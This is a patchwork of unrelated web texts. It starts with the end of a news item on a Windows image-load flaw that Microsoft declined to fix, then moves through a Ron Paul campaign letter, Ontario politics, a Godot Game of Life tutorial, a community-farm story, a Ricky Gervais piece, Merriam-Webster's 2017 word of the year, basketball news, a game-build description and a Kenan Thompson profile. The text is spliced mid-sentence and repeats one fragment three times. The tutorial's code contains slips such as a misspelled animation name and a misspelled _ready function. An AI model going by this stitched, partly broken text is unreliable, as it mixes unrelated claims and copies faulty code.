Loading drivers
Starting new processes Process executable image System DLL: ntdll.dll (2 different binaries for WoW64 processes)
Runtime loaded PE images – import table, LoadLibrary, LoadLibraryEx, NtMapViewOfSection.
The flaw could be exploited by malware to provide antivirus benign executables to inspect rather than their malicious code.executables to inspect rather than their malicious code.executables to inspect rather than their malicious code.
enSilo reported the issue to Microsoft and this is their reply:
“Our engineers reviewed the information and determined this does not pose a security threat and we do not plan to address it with a security update.”
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Pierluigi Paganini
(Security Affairs – Microsoft, hacking)
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Share OnThe other day, my old sparring partner in so many Congressional committee hearings, Alan Greenspan, was on the Fox Business Channel. After Alan promoted his new book, the reporter asked if we really needed a central bank. Greenspan looked stunned, and then said that was a good question; he actually talked about fiat money vs. a gold standard. Now, the ex-Fed chairman is not about to endorse our sound monetary policy, but you know our Revolution is working when such a question is asked in the mainstream media, and this powerful man gives such an answer.
You and I are reopening a whole host of questions that the establishment thought it had closed off forever: on war, on taxes and spending, on inflation and gold, and on the rule of law and our Constitution.
A few years ago, I asked a famous conservative columnist a question. What did he think about the prospects for a restored Robert Taft wing of the Republican party? He thought I was joking. As you know, I was not.
After all the aggressive wars, the assaults on our privacy and civil liberties, the oppressive taxation, and the crazed spending and deficits, I believe that many Republican voters are ready to return to our roots. And the big boys feel it too. It is no coincidence that the Republican National Committee invited me to a fundraising dinner involving only "top-tier candidates."
Some of the opposition claims that I am not a "real Republican," whereas I am the only one in the race. And our campaign is registering new Republican voters by the boatload. None of my opponents is doing anything approaching that.
Of course, they pooh-pooh our success. "He's just registering Democrats and Independents and people who have never voted before." Well, yes. It's called growth. We are laying the groundwork for the primaries.
All over America, our support is wide and deep and growing, and young people are joining like never before. After the Dearborn debate, I went to the University of Michigan for a rally. 2,000 students turned out, something that has happened to no other candidate this year.
The crowd cheered all our ideas, but especially our opposition to the Federal Reserve, and our support for real money |
by Mr. Hudak to politicize this issue is... not responsible. As far as the number of species that we’re protecting... there’s more science today. We know more about these individual species and what they need for habitat protection.”
Article Continued Below
NDP Leader Andrea Horwath, who in her speech to ROMA delegates had warned against “simplistic solutions” to complex problems, said protecting animals requires a balanced approach. “There are lots of important parts of our ecosystem that need to work together to be able to have a healthy environment,” Horwath said. “What we need to do is engage farmer and engage First Nations and engage all people really in that endeavour.” Ironically, the Liberals came under fire last year for weakening endangered species’ legislation — largely to help mining firms — by allowing those engaged in “infrastructure maintenance, repair or replacement” to kill animals or destroy their habitat.Conway's Game of Life
The Game of Life is a cellular automaton created by the British mathematician John Horton Conway in 1970. We're going to create it in Godot 3.0. The Game of Life is a good starting point for learning about grid based games and world generation. The game has the following rules:
Any live cell with fewer than two live neighbours dies, as if caused by underpopulation.
Any live cell with two or three live neighbours lives on to the next generation.
Any live cell with more than three live neighbours dies, as if by overpopulation.
Any dead cell with exactly three live neighbours becomes a live cell, as if by reproduction.
This tutorial was written with the Godot 3.0 Beta. The final scripts are provided at the end. You can download the completed project from github.
Open Godot 3 and create a new project. I’m going to call mine Game Of Life and create a new folder for it on my desktop. You can create the project anywhere you’d like. When Godot loads, click the 2d button in the top center of the editor to got to 2d view.
Find the Scenes tab, it should be on the right side of the editor. You’ll see a plus sign button, click it to add a new node. Search for a Control node and click Create. Select the newly created Control node and rename it Cell. With the Cell node selected, click the plus button again to add a new Sprite node.
We need to create some folders for our project. Either right click in the resource manager tab and use create new folder or open the project in your OS and do it there. Create the following folders: Sprites, Scenes, Scripts. Save this image as cell.png in the Sprites folder of your project.
Now select the Sprite node. In the inspector, you should see the texture field option. Open the drop down, select load, and then find the cell.png image in your project.
Lets save the scene. Click the Scene button in the top left corner of the editor and select Save As. Save the scene as Cell.tscn in the Scenes folder.
Right click the Cell node and add a child node. Search for the AnimationPlayer node and create it. When you add the AnimationPlayer, the animation window will appear at the bottom of the editor, in the same section that holds the Output and the Debugger.
We need to create two animation states for the cell: Living and Dead. Hit the new animation button (the file with the plus sign). Name it 'Living' -- a cool thing about Godot is that you can animated just about anything in the inspector using the keys that appear to the right of the properties.
We need to set the color of the Sprite node. Find the Modulate property and use the color picker to select white (it should be white by default), then click the key to the right of the modulate property. Hit create to insert the key.
Make a new animation called 'Dead' by repeating this process. Choose the color black (rbg 0,0,0) with the color picker. Remember to hit the key button to insert a new key frame.
Let’s sync the cell to the graphic. Click the cell node and in the inspector find the right margin and left margin properties and change them both to 32. Next click the sprite node and in the inspector unchecked centered. Now the cell and the graphic are lined up.
Now we’re ready to add a script to the Cell. Right click the cell node and choose add script. Save it to the scripts folder and name it cell.gd. Click create and you’ll be taken to the script editor.
We need a few variables to hold our x and y coordinates on the game grid. And a variable for our type (living or dead). Lastly we need the AnimationPlayer node stored to anim so that we can set the animations. We use some simple functions to set the position and also a getter and setter for our tile_type variable.
# CELL extends Control # living or dead var tile_type # position on the grid var x var y # the Animation Playernode onready var anim = get_node("AnimationPlayer") func initialize_tile(x, y): self.x = x self.y = y func set_type(type): tile_type = type # 0 is living 1 is dead if tile_type == 0: anim.play("Lving") else: anim.play("Dead") func get_type(): return tile_type
In the editor, click the Scenes button in the top left and create a new scene. Add a Node2D to the scene using the plus button. Name it GameOfLife and then save the scene as GameOfLife.tscn.
Let’s take care of the set up first. Go ahead and add a new script to the GameOfLife node and save it as game_of_life.gd inside the Scripts folder. Then right click on the GameOfLife node again and add a new child node. Search for the Timer node. Rename it StepTimer.
Repeat the process to create a Position2D node and rename it StartPosition.
Okay that takes care of the set up. Unfortuantely, if we run our game now it doesn't do much of anything. Press the play button in the top right of the editor (above the scene tab), Godot will complain that we haven’t set a main scene. Go ahead and select the GameOfLife.tscn. You’ll get a blank window.
Its time to change that by heading over to the game_of_life.gd script.
This script will need a lot of work. First we’re going to make some variables and then get a reference to the nodes we made in the editor.
# GAME OF LIFE extends Node2D var grid = {} # dictionary to hold all the cells export var width = 10 # total cells wide export var height = 10 # total cells tall export var cell_size = 32 # width/height of the graphic in pixels export var spawn_rate = 50 # percentage to start living var spacer = 5 # distance between cells var start_position # position to start the grid var step_timer # time between each step var cell = preload("res://scenes/cell.tscn") func _ready(): start_position = get_node("StartPosition") step_timer = get_node("StepTimer")
To display the cells we need need to initialize the board. We do this with a nested for loop that steps through each x and y position in the grid. For each position, we instantiate a new cell and place it in the correct position on screen. A type – living or dead – is chosen based on a random number. We’ll also need to add the new cell to the dictionary named grid.
func initialize_grid(): for y in height: for x in width: var new_cell = cell.instance() new_cell.initialize_tile(x,y) new_cell.rect_position = (Vector2(start_position.position.x + x*(cell_size+spacer), start_position.position.y + y*(cell_size+spacer))) add_child(new_cell) grid[Vector2(x,y)] = new_cell
Okay, if we call initialize_grid from the _ready function and hit play, we’ll get a grid of white squares. Pretty boring. We need to randomize the starting tiles based on our spawnrate. Add the following function and then call it from _ready directly after initialize_grid. We also need to include a call to randomize(), otherwise we’ll get the same grid every time.
func randomize_grid(): for y in height: for x in width: var cell = grid[Vector2(x,y)] if rand_range(1,101) <= spawn_rate: cell.set_type(0) else: cell.set_type(1) func _ready(): randomize() start_position = get_node("StartPosition") step_timer = get_node("StepTimer") initialize_grid() randomize_grid()
Congratulations! You now have a grid of random cells. We still need to create the step function and apply Conway’s rules. Before we can do that though, we need to write a helper function that will find the living neighbors of every cell in the grid. This is what it looks like:
func get_living_neighbors(cell): var living_neighbors = 0 for i in range(-1,2): for j in range(-1,2): var x = cell.x+i var y = cell.y+j # looking at ourselves if i == 0 and j == 0: pass # if we're not off the map, get the number of living neighbors elif x >= 0 and x <=width-1 and y >=0 and y <=height-1: if grid[Vector2(x,y)].get_type() == 0: living_neighbors += 1 return living_neighbors
The get neighbors function is one of those pieces of code that you have to write over an over again. Its very useful in game development. Each cell looks at those around it and calculators the total number of living cells.
Now we come to the heart of the project: the step function. This does the heavy lifting, You could call this our game loop, but since we’re making a simulation I think the term step is clearer. In each step we will look at every cell in the grid using a nested for loop. Using get_living_neighbors(), the neighbor count is calculated and then Conway’s rules are applied according to whether the cell is living or dead. Its important that we first record all the new states and not overwrite them as we go along. The births and deaths are suppose to happen simultaneously. I used an array to hold the types for the new cells (either 1 or 0) and then applied them after the first loop is finished with yet another nested for loop.
func step(): # step over each cell in the grid, check if its living or dead # and then apply the rules to the game of life according to the cell's status # Any live cell with fewer than two live neighbours dies, as if caused by underpopulation. # Any live cell with two or three live neighbours lives on to the next generation. # Any live cell with more than three live neighbours dies, as if by overpopulation. # Any dead cell with exactly three live neighbours becomes a live cell, as if by reproductio var types = [] for y in height: for x in width: cell = grid[Vector2(x,y)] var living_neighbors = get_living_neighbors(cell) # living if cell.get_type() == 0: if living_neighbors < 2 or living_neighbors > 3: types.append(1) elif living_neighbors == 2 or living_neighbors == 3: types.append(0) # dead elif living_neighbors == 3: types.append(0) else: types.append(1) # set the types var index = 0 for y in height: for x in width: grid[Vector2(x,y)].set_type(types[index]) index+=1
There is one last step we have to take. We need to use signals: a feature in the Godot Engine that creates a callback for an event. In this case, we want the signal 'timeout' that is emitted from the StepTimer node. This goes in the ready function:
func _ready(): #.... step_timer.connect("timeout", self, "_on_step_timer_timeout")
We need to add this function so that step will run with the timer goes off.
func _on_step_timer_timeout(): step()
Back in the editor, in the GameOfLife scene, find the StepTimer node and click the auto start function. The default time is 1 second, but you can change it to 0.4 seconds if you want to speed things up. Run the game now and you’ll have a working Game of Life clone in Godot. Nice work.
But we can make this better. First, move the StartPosition node in the editor to something like 300 x 100 to center the game in our screen.
For a final touch, I’ll show you how to add a button to reset the game. go to the Game of Life Scene in the editor and add a new Button node. Call it ResetButton and set the text to be RESET. In the game_of_life.gd script, we need add a new variable to serve as a reference to the button and create a function to handle the button press. In the _ready funcion add this variable to the others.
var start_position # position to start the grid var step_timer # var reset_button In the start functino: func _read(): # …. reset_button = get_node("ResetButton") reset_button.connect("pressed", self, "_on_reset_button_pressed") # and add this function to randomize the grid when the button is pressed. func _on_reset_button_pressed(): randomize_grid()
Here's the full scripts.
# GAME OF LIFE extends Node2D var grid = {} # dictionary to hold all the cells export var width = 10 # total cells wide export var height = 10 #total cells tall export var cell_size = 32 # width/height of the graphic in pixels export var spawn_rate = 50 # percentage to start living var spacer = 5 # distance between cells var start_position # position to start the grid var step_timer # var reset_button var cell = preload("res://scenes/cell.tscn") func _ready(): randomize() start_position = get_node("StartPosition") step_timer = get_node("StepTimer") step_timer.connect("timeout", self, "_on_step_timer_timeout") reset_button = get_node("ResetButton") reset_button.connect("pressed", self, "_on_reset_button_pressed") initialize_grid() randomize_grid() func _on_reset_button_pressed(): randomize_grid() func _on_step_timer_timeout(): step() func initialize_grid(): for y in height: for x in width: var new_cell = cell.instance() new_cell.initialize_tile(x,y) # this line does the heaving lifing, adding the start position node to the cell position and includig a spacer new_cell.rect_position = (Vector2(start_position.position.x + x*(cell_size+spacer), start_position.position.y + y*(cell_size+spacer))) add_child(new_cell) grid[Vector2(x,y)] = new_cell func randomize_grid(): for y in height: for x in width: var cell = grid[Vector2(x,y)] if rand_range(1,101) <= spawn_rate: cell.set_type(0) else: cell.set_type(1) func get_living_neighbors(cell): var living_neighbors = 0 for i in range(-1,2): for j in range(-1,2): var x = cell.x+i var y = cell.y+j # looking at ourselves if i == 0 and j == 0: pass # if we're not off the map, get the number of living neighbors elif x >= 0 and x <=width-1 and y >=0 and y <=height-1: if grid[Vector2(x,y)].get_type() == 0: living_neighbors += 1 return living_neighbors func step(): # step over each cell in the grid, check if its living or dead # and then apply the rules to the game of life according to the cell's status # # Any live cell with fewer than two live neighbours dies, as if caused by underpopulation. # Any live cell with two or three live neighbours lives on to the next generation. # Any live cell with more than three live neighbours dies, as if by overpopulation. # Any dead cell with exactly three live neighbours becomes a live cell, as if by reproductio var types = [] for y in height: for x in width: cell = grid[Vector2(x,y)] var living_neighbors = get_living_neighbors(cell) # living if cell.get_type() == 0: if living_neighbors < 2 or living_neighbors > 3: types.append(1) elif living_neighbors == 2 or living_neighbors == 3: types.append(0) # dead elif living_neighbors == 3: types.append(0) else: types.append(1) var index = 0 for y in height: for x in width: grid[Vector2(x,y)].set_type(types[index]) index+=1 # CELL extends Control # living or dead var tile_type # position on the grid var x var y # the Animation Playernode onready var anim = get_node("AnimationPlayer") func initialize_tile(x, y): self.x = x self.y = y func set_type(type): tile_type = type # 0 is living 1 is dead if tile_type == 0: anim.play("Living") else: anim.play("Dead") func get_type(): return tile_typeGagan Singh Batth and Jaskaran Singh Sandhu believe they can grow karma by growing crops for those in need of healthy food. The Brampton duo’s social enterprise, KarmaGrow, has reaped its first harvest — 1,500 pounds, more than half a tonne — of fresh and luscious produce for thousands of local food bank clients who would otherwise have to bear with meals full of non-perishable food in tins.
Volunteer Baghael Kaur (in white turban), carrying her 8-month-old daughter Rundeep, tilled the land on the Good Karma Farm in east Caledon. ( BIKRAM SOHI PHOTO ) Volunteers harvested fresh produce and bagged them up for deliveries to the three participating food banks in Peel. ( JOE TICAR PHOTO ) Gagan Singh Batth, left in blue, and his brother-in-law, Jaskaran Singh Sandhu, co-founders of KarmaGrow, a social enterprise that develops community farming to supplement partnered food banks with fresh produce. ( JOE TICAR PHOTO )
“The project has definitely added to the food security for Peel Region residents. It’s about community coming together to help us out,” said Daven Seebarran of the Seva Food Bank, which, along with Knights Table and Good Food Brampton, helps run KarmaGrow’s community farm in Caledon. This is how Sandhu’s and Batth’s simple idea works: secure donated agricultural land, offer training in farming, seek community partners to provide volunteers, and together share the rewards of the hard labour. The two-acre Good Karma Farm, just a 20-minute drive to the north of Pearson International Airport, is believed to be the only community food-sharing farm in Canada that operates at such a scale, as most are in urban centres and run in small plots or on rooftops.
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The seed of KarmaGrow was sown in 2012 when Batth, 24, had to come up with a social enterprise and business plan for a class assignment in his bachelor of commerce studies at Humber College. Coming from an immigrant family of farmers in Punjab, Batth’s parents just bought a 100-acre “hobby farm” in Dundalk, Ont., a 30-minute drive north of Orangeville, in 2011. “We had the experience of taking care of a farm and we grew more than we needed. We had more than enough to give it out to families and friends,” said Batth, a human resources consultant. “We have agricultural lands everywhere sitting for development purposes. Why don’t we use the opportunity to grow fresh produce and share it with the community? It’s simple and easy.” However, turning the idea into action was far more difficult. Batth’s family farm was too far for community volunteers to get to and a proposal to partner with a local high school for the farming initiative fell through.
In April, Sandhu, Batth’s brother-in-law, met with Gurpreet Somal, a commercial farmer in the Sikh community, who donated to KarmaGrow two of the 45 acres of his farmland, which is much more accessible for volunteers. Through his community work, Sandhu, a criminal lawyer, quickly got other community groups on board. The Region of Peel donated 40 tons of compost; Ecosource, an environmental group, offered training; the World Sikh Organization helped secure the land and funding; the food banks co-ordinated volunteers and maintained the farm.
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Sandhu and Batth spent weeks preparing the land so volunteers could start planting anything from tomatoes to eggplants, zucchini, corn, squash, peppers and chili by the end of May. Each of the three participating food banks was allotted their own plots but their volunteers must also nurse the communal land. All harvests are shared among the groups. “It’s a lot of back-breaking work. Combating weeds without chemicals was the hardest thing,” said Sandhu, who visits the Caledon farm twice a week to supervise the effort. “But this is such a wonderful collaboration to get the community involved. If we can get land within the city, the sky is the limit.” KarmaGrow has already secured another two acres of donated land, near Castlemore and Gore Rds. to repeat the success of their pilot project. Earlier in the season, crops on the farm were attacked by beetles and volunteers had a lengthy and healthy debate over whether to use pesticides or stick to the project’s organic principle. Eventually, they reached a consensus to use soap spray to kill the bugs, and it worked. Volunteer Gursharn Kaur Gill of the World Sikh Organization, an advocacy group for social justice, said the farming initiative is great for community building and helps address poverty and food insecurity issues in Peel. “It’s a fun experience volunteering on the farm, meeting people from other organizations. There’s a sense of camaraderie. Although we all have different plots, we all help each other out,” said Gill, 26, also a criminal lawyer. “You have a feeling of community and what we can accomplish together. It’s a very good feeling.” Being raised by a single mother in the Jane St. and Finch Ave. neighbourhood, volunteer Baghael Kaur said being part of the farming initiative is a healing and empowering experience. “Many of us are disconnected from where our food comes from. Here, we get to plant, nurse, weed, and see the end results of something nourishing and practical,” said the 34-year-old Brampton resident, who volunteered with her 8-month-old old daughter Rundeep in tow. “Karma means you harvest what you plant. When you do good, it comes back to you,” added Kaur, who studies to be a nutritionist. “KarmaGrow represents the concept in both the literal and spiritual sense.”
Read more about:Atheist Ricky Gervais – A Better Christian than Christians?
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Are atheists better Christians than Christians are today? Famous comedian and English actor Ricky Gervais likes to think so.
Posting a holiday message for Easter entitled “Why I’m A Good Christian” in The Wall Street Journal, Gervais, a professing atheist, revealed that he is a “good Christian” compared to a lot of Christians.
To prove his point, he outlined the Ten Commandments and analyzed how he faired against each law. Giving himself a 10 out of 10 – passing all counts of murder, idolatry, and blasphemy – Gervais considered his perfect score “not bad for an atheist.”
The thrust of his message, however, was not focused on his own tallied “goodness,” but rather the lack of goodness in Christians today.
“It’s not that I don’t believe that the teachings of Jesus wouldn’t make this a better world if they were followed,” the 49-year-old actor stated. “It’s just that they are rarely followed.”
Agreeing with Gandhi’s words – “I like your Christ, I do not like your Christians” – Gervais admitted that he too held this opinion of Christianity even when he used to believe in God as a child.
“Jesus was a man. His message was usually one of forgiveness and kindness. These are wonderful virtues but I have seen them discarded by many so-called God-fearers when it suits them.”
“They cherry pick from their ‘rulebook’ basically,” he added. “I have seen such cruelty and prejudice performed in the name of Christianity (and many other religions for that matter) that it makes me wonder if there has been a bit too much selective reading and reinterpretation of the doctrines.”
Preaching what seemed like a resounding message towards Christians today, Gervais echoed Gandhi’s words: “Your Christians are so unlike your Christ.”
Dr. Robert Johnston, professor of theology and culture at Fuller Theological Seminary responded to Gervais’ message, stating that sadly, he was correct.
“Many non-Christians in their conduct are better people than Christians,” Johnston told The Christian Post. “[But] perhaps, though I’m sure he knows it, Ricky has chosen to be reductive in defining Christianity as an ethic rather than a relationship with God that includes ethic but is much broader and wider than that.”
“Having said that,” he continued, “we need to with James, affirm with Ricky that faith without works is dead to the degree that we are guilty of his assessment of us. If to the degree that he is right, that he is a better person in how he lives within the human community, then for many who name the name of Jesus, it’s a call for us to repent and follow Jesus.”
In agreement with Gervais’ point that part of the message of Jesus was about kindness and forgiveness, the professor stated, “If in the world we live in, Christians are increasingly being perceived as unkind, unforgiving, intolerant, and legalistic, and to the degree that this is true, we have failed to be followers of Jesus.”
“Ricky Gervais probably has a truth that you and I don’t want to recognize.”
Addressing the issue of why Christians were increasingly straying from the image of Christ like Gervais highlighted, the Fuller professor stated, “Christians have always continued to be sinners. We are new people and yet we wait our final redemption, so this is not a new question.”
“I think that unfortunately, in some quarters today, as the culture no longer reflects our understanding or a particular understanding of Christian values, we think it is our obligation to force everyone to agree with our position.”
“Jesus did not do that. Nor did the New Testament writers,” Johnston stressed. “And so the task is to recognize that we live in a pluralistic context, [and] the task for us is to model the way of Jesus and to proclaim the truth and beauty and goodness that Jesus embodied and taught.”
But to proclaim is something different than to seek to legislate or seek to impose our standards on others, he noted.
So is it right for Gervais and many others like him to judge Christians and those who profess to follow Christ?
Johnston replied, “I think Christians have unfortunately positioned themselves too often as the judge of other people and their actions. We are simply getting what we have given.”
“In that sense, Ricky’s article though tongue and cheek and obviously meant to be provocative and written by a humorist, is nevertheless the occasion for Christians to say ‘I’m sorry that we have modeled for you a legalism rather than show you the compelling power of Jesus’ love.’”
“If our Gospel is heard as judgmental, intolerant and exclusive, then we have a problem and the finger needs to be pointed back at us,” Johnston emphasized to CP.
Not wanting to judge Gervais’ own beliefs and his 10 out of 10 commandment score, the Fuller professor did, however, mention that perhaps the English actor would also like to read the Beatitudes, in which Jesus radicalized the meaning of the Ten Commandments “in a way that brings humility to all of us.”
“He might want to rethink some of his tally scores,” Johnston disclosed.
“But I’m not in the business of judging Ricky … I think we need to have a generous spirit and to the degree that he’s calling all of us to take more seriously the external expression of our faith.”
“His challenge can be a good reminder … a sermon to come in surprising places.”
Deeming Gervais as perhaps God’s own spokesman, Johnston told CP how God sometimes used unbelievers to reprimand His people and bring them back to His purpose.
Advising all believers “to be extravagant in grace” while proclaiming God’s truth, Johnston explained how Christians could appropriately balance both truth and grace.
“When you communicate with your children, you need to be both honest and forthright as to what is expected. And you need to be extravagant in putting it within the context of your love and grace and acceptance and good will. Children know when you do that, and when you don’t.”
“It’s evident and to the degree you simply become over concerned with truth, you lose your ability to be heard. And what is true in regards to our children is true in regards to our conversation with others as well,” he resolved.
“However much we disagree, it can only be in the context of radical extravagance and personal acceptance if we’re to be Christ-like.”
Whether or not Gervais’ observations are completely valid or not, ironically he and many others continue to remind Christians what Christianity should really look like.
Perhaps just like the actor stated in his Easter Holiday Message, “maybe we should all go back to the basics to find out where it all got confused.”Merriam-Webster’s Word of the Year is a quantitative measure of interest in a particular word. Our online dictionary gives us insight into the collective curiosity of the public, with millions of words looked up every month. When we look back at the past twelve months and combine an analysis of words that have seen a rise over the previous year along with instances of intense spikes of interest because of news events, we see that one word stands out in both categories.
Merriam-Webster's Word of the Year for 2017 is feminism. The word was a top lookup throughout the year, showing a 70% increase over 2016. It also saw several spikes in lookups that corresponded to various news reports and events during the year. The general rise in lookups tells us that many people are interested in this word; specific spikes give us insight into some of the reasons why.
In the last weeks of January, feminism spiked following news coverage of the Women's March on Washington, DC (and other related marches held around the country and internationally), and follow-up discussions regarding whether the march was feminist, and what kind of feminism was represented by organizers and attendees. The word was in the air.
Similarly, discussions around whether feminism was inclusive caused lookups to spike in late February, when Kellyanne Conway said during an onstage interview at a conservative conference that she didn't consider herself a feminist "in the classic sense because it seems to be very anti-male and it certainly is very pro-abortion, in this context." As with other words that spiked this year, such as fact and complicit, the definition of feminism was itself the subject of the news story—an invitation for many people to look up the word.
Interest in the dictionary definition of feminism was also driven by entertainment this year: we saw increased lookups after the release of both Hulu’s series The Handmaid's Tale and the Wonder Woman film, starring Gal Gadot.
More recently, lookups of feminism have been increasing in conjunction with the many accounts of sexual assault and harassment in the news. As the country witnessed a number of women coming forward to share their stories with journalists, many more women joined in on social media using the #MeToo hashtag to say that they too have been affected by such behavior. The string of breaking news stories regarding the resignations, firings, or dismissals of men who have been charged with sexual harassment or assault has kept this story in the news.
Feminism was first entered in an English dictionary by Noah Webster in 1841 with the definition “the qualities of females.” Today’s definitions read: “the theory of the political, economic, and social equality of the sexes” and “organized activity on behalf of women's rights and interests.”
No one word can ever encapsulate all the news, events, or stories of a given year—particularly a year with so much news and so many stories. But when a single word is looked up in great volume, and also stands out as one associated with several different important stories, we can learn something about ourselves through the prism of vocabulary. There is an ongoing national conversation, and Merriam-Webster has a front-row seat.
Here are nine more notable words that sent people to the dictionary in 2017:
Complicit
Recuse
Empathy
Dotard
Syzygy
Gyro
Federalism
Hurricane
Gaffe
For more details on why these words were frequently looked up in the past twelve months, check out our Word of the Year 2017 Gallery.
For more information on how we chose this year's Word of the Year, go behind the scenes with Editor at Large Peter Sokolowski.Dan Le Batard, Stugotz and Greg Cote go in depth on the lack of maturity being shown by Heat's Hassan Whiteside. (2:35)
Miami Heat captains Goran Dragic, James Johnson and Udonis Haslem counseled Hassan Whiteside and addressed his level of effort after the star center was benched for nearly the entire second half of Monday's loss to the Golden State Warriors.
Whiteside played just 16 minutes in the 97-80 loss and was pulled 73 seconds into the second half after Golden State's Zaza Pachulia made an uncontested layup while Whiteside was arguing with an official.
Heat coach Erik Spoelstra referred to the move as a "coach's decision," but Miami's three captains discussed the situation concerning Whiteside after the game with reporters.
"Sometimes you just don't have it," Dragic said, according to the Miami Herald. "[Whiteside] admitted, 'Hey guys, I let you down.' Look, we're here to help him. He's on our team. He's our player. We love him and this is the only thing that matters."
Hassan Whiteside was benched just 73 seconds into the second half of Monday's game against Golden State. The Miami center did not sound as if he agreed with the decision, but the Heat's captains talked with him after the game and addressed the issue. Ezra Shaw/Getty Images
Spoelstra said that the benching is "nothing bigger, more than that -- this is one game."
"He understands how important he is to our ballclub, to play at high level, high-energy level," Spoelstra said. "And so we'll move on."
Whiteside did not sound as if he agreed with Spoelstra and said he did not know how much he will play Wednesday in Miami's next game against the Phoenix Suns.
"I guess [Spoelstra] thought it was better if I didn't come back in," Whiteside said. "I don't know. I really don't know."
Johnson thinks Whiteside was receptive to the captains' discussion with him, saying "he gets it."
"Minutes is earned, man. Minutes is earned on this team," Johnson said, according to the Herald. "We had our talk as we should as a team, and as the three captains that we are. And he gets it. I know he gets it.
"He's the most athletic guy I know. He's the heart of our team, and he's also the best big man in the league to me."
The 7-foot Whiteside was coming off a 21-point, 17-rebound performance in Sunday's victory over the LA Clippers. Haslem said that he has preached mental toughness to Whiteside and the younger players on the Heat, especially when they have to play on the second night of back-to-backs.
"On the second night of a back-to-back, man, sometimes your body is not going to have it," Haslem said. "That's when you got to have it with your mind. I preach to these guys 48 minutes of mentally stable basketball and not be mental midgets. That's just something we got to continue to work on."
Whiteside, 28, is in the second year of a four-year, $98 million deal with the Heat and was the NBA's leading rebounder last season.
"I mean it's tough. He's our main player," Dragic said. "He's protecting the paint. He's getting offensive rebounds, blocked shots.... We have full confidence Hassan is going to be back and he's going to be his old self again."
Added Haslem: "We're not disappointed, man. It's not supposed to be easy. None of this is supposed to be easy.... [Whiteside] is still learning, he's still growing, he's still understanding what we expect from him. Every night you're not going to have it in this league. So what we just need from Hassan is his energy. We feed off that and he's our best player. We're going to live and die with him."A recreation and modified version of an already submitted Optimus Prime here in RobocraftGarage. All design credits goes to the original user ELcrusader for submitting this amazing work.
When I first saw ELcrusader's design, I was floored with just how amazing it looked so I had to recreate it. With the recent addition of the Lock-on Missile Launchers, I thought to myself 'what better weapon to equip this craft with than with a Missile Launcher'. And so I did.
Unfortunately the original build wasn't wide enough to accommodate the Missile Launcher so I decided to modify it so it can. Other minor changes also include the usage of curved blocks on certain parts and adding some more details to the back of the truck.
Due to the sheer size of the build, the inside of it unfortunately has to be hollow so all in all, it cannot take a lot of direct engagements or punishments so it plays more like a back-line support rather than a front-line tank.
The inside of the truck is retrofitted with a radar jammer blocker and an enemy radar overwatch. The length of the truck itself made it hard to maneuver so the back set of wheels had to be changed to Steering Wheels to give it more turn rate.
The placement of the Missile Launcher in the back also means that you are required to reposition your truck once you are in firing range so that you don't actually hit the front of your truck whilst firing.
All in all, when it comes to practicality, this build isn't very good at taking hits like a tank so you have to play it smart and play it cautiously. Otherwise, he's just very fun to play!
Update: Made the ceiling of the truck lower by |
behind a desk ― but right there, live on air at 11:30 p.m. on Saturday night.
“If you were designing the person perfect for SNL, most of the components would look like Kenan,” Lorne Michaels told me in a phone interview earlier this year.
Thompson makes everything at SNL better. The writers can rely on him to bring them back a laugh. The cast members know that he’ll set them up for their own moment. And the crew members know that they’ll have someone who will act as an on-stage director, controlling the tempo of the sketch and the people around him.
Back in 2009, however, when he walked on stage as Diondre Cole for the first time, Thompson felt anything but perfect. By then, it had already been six long years since he had joined the show, and many of his peers had long ago established themselves with signature characters. Hader had Vinny Vedecci. Kristen Wiig had the Target Lady. Andy Samberg had his pop star persona in his digital shorts.
NBC via Getty Images Kenan Thompson plays DJ Dynasty Handbag and Andy Samberg as T'Shane in "Deep House Dish," a skit in 2007.
NBC via Getty Images Kenan Thompson plays Lorenzo McIntosh during a "Scared Straight" skit in 2008.
Thompson had a few minor hits here and there, like “Deep House Dish” and “Scared Straight.” But by and large, he had yet to find a niche on the show. A couple of times early on, he even “donuted,” a phrase used by SNL cast members to describe when someone doesn’t appear on camera a single time in an episode.
In person, Thompson is soft-spoken, polite and reluctant to talk about himself. When we met at a restaurant near 30 Rock one afternoon in January, he wouldn’t even eat his chicken wings until the official interview had ended for fear of seeming rude. During our conversation, he admitted that he quietly struggled with himself during those early years at SNL.
He couldn’t find his voice, and the situation led to panic and uncertainty. He had difficulty watching himself on screen. In a moment of frustration, Thompson said, he asked his manager, “Why you even got me on this fucking show?”
Later, he would realize “donuting” is rather normal for young players. But for a while, it left him feeling self-conscious, especially considering an awkward truth: He was different from the people around him. He hadn’t arrived by way of the improv world of Second City or The Groundlings, nor as an up-and-coming comedian in the stand-up scene, like most other cast members. He was Kenan Thompson, former child star of Nickelodeon’s “Kenan & Kel” and “All That.”
His time at the children’s network had helped get him to SNL, but it also led to insecurity once he was there. He had trouble getting work after leaving the network, and privately started to fear people would never see him as anything more than one part of a comedy duo.
“People made it seem at first like we couldn’t do anything without each other, like we weren’t funny individually,” Thompson said. “Kel and I, we both decided that we wanted the world to know that there was a Kel Mitchell and a Kenan Thompson.”
At SNL, Thompson did what he could to reshape his image. He became close friends with Bryan Tucker, who joined the show as a writer in 2005. Once, Tucker, who is now a co-head writer on the show, asked Thompson if he would be willing to pair up with another cast member for a sketch. Thompson agreed, but in a moment of vulnerability, he admitted to Tucker that he wanted to do something by himself.
“I think he was just trying to forge his own road,” Tucker said. “Especially early, he hoped to make his mark as an SNL star, not as a guy who you used to watch on cable.”
It would take time. To other people at SNL, Thompson clearly possessed a knack not only for memorizing his written parts, but calmly delivering them so consistently that he would become a safeguard for the writers on the show. He also enjoyed a comfort onstage that he had been building since his Nickelodeon days, and an ability to play any number of small parts on short notice. But what, exactly, did he do better than anyone else? Even he wasn’t sure.
“The first couple years, [I was] just panic-stricken, not knowing if I’m doing good or not knowing if I’m making an impression or the right impression,” Thompson said.
So he made himself essential in other ways. Behind the scenes, his kindness became a calming presence. “It’s a real hard job,” former cast member Darrell Hammond admitted. “I looked for him every day just to talk, just to shoot the shit about something. He made me feel good.”
But after six years of working at SNL without ever quite thriving in it, Thompson finally found something in “What Up With That.” It was bizarre and disorganized and unlike anything else on the show. And it was a hit ― and his hit to boot.
“Once it happened once, I was like, ‘Oh, this is a great formula,” Thompson said. “Then when we did it the second time, I was like, ‘Oh, I can do this.’”
“What Up With That” gave Thompson confidence, and it gave SNL writers an understanding of his greatest strength: his ability to act as an on-stage director, calmly and selflessly pulling the most out of the people around him amid confusion.
“He’d make me look funny,” said Hader, who would return as the always-silent Buckingham many more times. It was a generosity multiple cast members mentioned.
